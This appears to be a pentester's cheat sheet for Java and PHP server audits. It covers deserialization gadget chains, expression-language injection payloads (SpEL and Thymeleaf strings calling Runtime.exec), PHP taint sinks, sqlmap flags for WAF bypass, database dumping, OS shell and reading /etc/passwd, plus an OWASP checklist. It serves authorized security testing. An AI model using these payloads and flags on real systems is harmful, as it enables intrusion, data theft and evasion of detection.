Server-Side Language Audits — Java, PHP, SQLmap.
Stack-specific notes for Java and PHP — deserialization gadgets, expression-language injection, tainted-input flow — paired with SQLmap operator flags and the OWASP testing checklist.
Java — deserialization gadgets
- ysoserial gadget chains. CommonsCollections1/5/6, CommonsBeanutils1, Spring1/2, Click1, MozillaRhino1/2. Each chain depends on specific dependency versions on the classpath.
- Where they fire. RMI/JMX (port 1099/9999), JNDI lookup, anything calling
ObjectInputStream.readObject()on attacker bytes — RMI, JMS, EJB invocation, hidden inside HTTP cookie / session / form parameter. - JEP-290 landscape. Post-JDK-9 added serial filtering. Most apps don't configure filters — still wide open.
jdk.serialFiltersysprop or per-streamObjectInputFilter. - Discovery process. Identify Java version, list dependencies (
jar tfon lib/), match against known gadget catalog, send DNS-callback payload first. - Defense. Migrate from Java-native serialization to JSON. If you can't, use safelist filter and never deserialize bytes from network without auth.
Java — expression-language injection
- Spring (SpEL).
${T(java.lang.Runtime).getRuntime().exec('id')}in any template/header processed by Spring EL. - Struts2 OGNL.
%{(#_='multipart/form-data').(...)}— historical Equifax-class chain. Still appears in legacy Struts. - Thymeleaf. SSTI when user input flows into template name:
~{__${T(Runtime).getRuntime().exec('id')}__::x}. - Test. Inject
${7*7}first.49in output = SSTI confirmed; proceed with class lookup.
PHP — taint flow review checklist
- Sources.
$_GET,$_POST,$_COOKIE,$_FILES,$_SERVER['HTTP_*'],file_get_contents('php://input'). - Sinks: code execution.
eval,assert,preg_replacewith/eflag (legacy),create_function,include/require(_once) with variable. - Sinks: command execution.
exec,system,passthru,shell_exec, backticks,popen,proc_open. - Sinks: file.
file_put_contents,fopen,copy,move_uploaded_file,unlink. - Sinks: SQL. Any
mysqli_query/PDO->querywith concatenation.PDO->prepare+ bind is safe. - Sink: unserialize.
unserialize($_COOKIE['x'])+ any class with__destruct/__wakeup/__toString= gadget chain. PHPGGC for known chains.
sqlmap — production-safe flags
- Detection only first.
sqlmap -u "URL" --batch --random-agent --level=3 --risk=1. Don't escalate risk until detection is confirmed. - WAF-bypass tamper scripts.
--tamper=between,randomcase,space2commentfor generic;--tamper=charunicodeencodefor nginx-fronted; combine 2–3 max — more breaks detection. - Time-based tuning.
--time-sec=10to reduce false positives on jittery network.--technique=BTif union-based is unreliable. - Authenticated.
--cookie="session=..."or--load-cookies=cookies.txt.--csrf-token=tokenwith--csrf-urlfor token-protected forms. - Extraction.
--current-user --current-db --hostnamefirst (small, low-risk). Only then--dbs --tables --columns -D foo -T users --dump. - Post-exploit.
--os-shellrequires DB user to be DBA + writable webroot.--file-read=/etc/passwdfor proof without command execution. - Don't.
--risk=3on production without explicit auth; some payloads update/delete data.
OWASP testing checklist — minimum pre-flight
- Authentication: 0/2FA bypass, weak password policy, default creds.
- Session: token entropy, fixation, timeout, logout invalidation.
- Authorization: vertical (admin functions), horizontal (peer IDOR), missing function-level.
- Input: every class from the OWASP catalog tested against every parameter.
- Crypto: TLS posture (sslyze), hashing (bcrypt vs MD5), storage of secrets.
- Error handling: stack traces, debug pages, verbose 500s.
- Logging: are events captured, can attacker disable, can defender reconstruct.
- Business logic: end-to-end walkthrough per role.
Rule of thumbFor Java apps, dump the lib/ directory and match against ysoserial gadget catalog before sending any payload. Sending random gadgets blind generates EDR noise and wastes detection budget.
From reference to evidence